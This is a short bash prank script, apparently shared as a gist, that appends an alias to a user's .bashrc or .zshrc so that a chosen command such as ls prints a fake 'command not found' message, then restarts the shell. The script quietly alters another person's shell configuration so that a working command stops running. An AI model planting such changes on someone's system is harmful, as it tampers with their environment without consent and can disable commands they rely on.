Trollor your friend, make a command "command not found"

command-not-found.sh

#!/bin/bash
# Usage: bash command-not-found.sh <command>
# Eample: bash command-not-found.sh ls
#        Then if you type ls it will act like ls is not install.

if [[ -z $1 ]]; then
  return
fi

current_shell="$(rev <<< "$SHELL" | cut -d '/' -f 1 | rev)"

if [[ -x '/usr/lib/command-not-found' ]]; then
  troll_command="/usr/lib/command-not-found --ignore-installed $1; argument_blackhole"
else
  troll_command="echo '-${current_shell}: ${1}: command not found'; argument_blackhole"
fi

# To cleanup argument
argument_blackhole="argument_blackhole() {
  return 127
}"

case "$current_shell" in
  'zsh')
    shell_config="$HOME/.zshrc"
    ;;
  'bash')
    shell_config="$HOME/.bashrc"
    ;;
esac

if ! grep argument_blackhole "$shell_config"; then
  echo "$argument_blackhole" >> "$shell_config"
fi

echo "alias ${1}='${troll_command}'" >> "$shell_config"

# Force shell to reload config file
exec "$current_shell"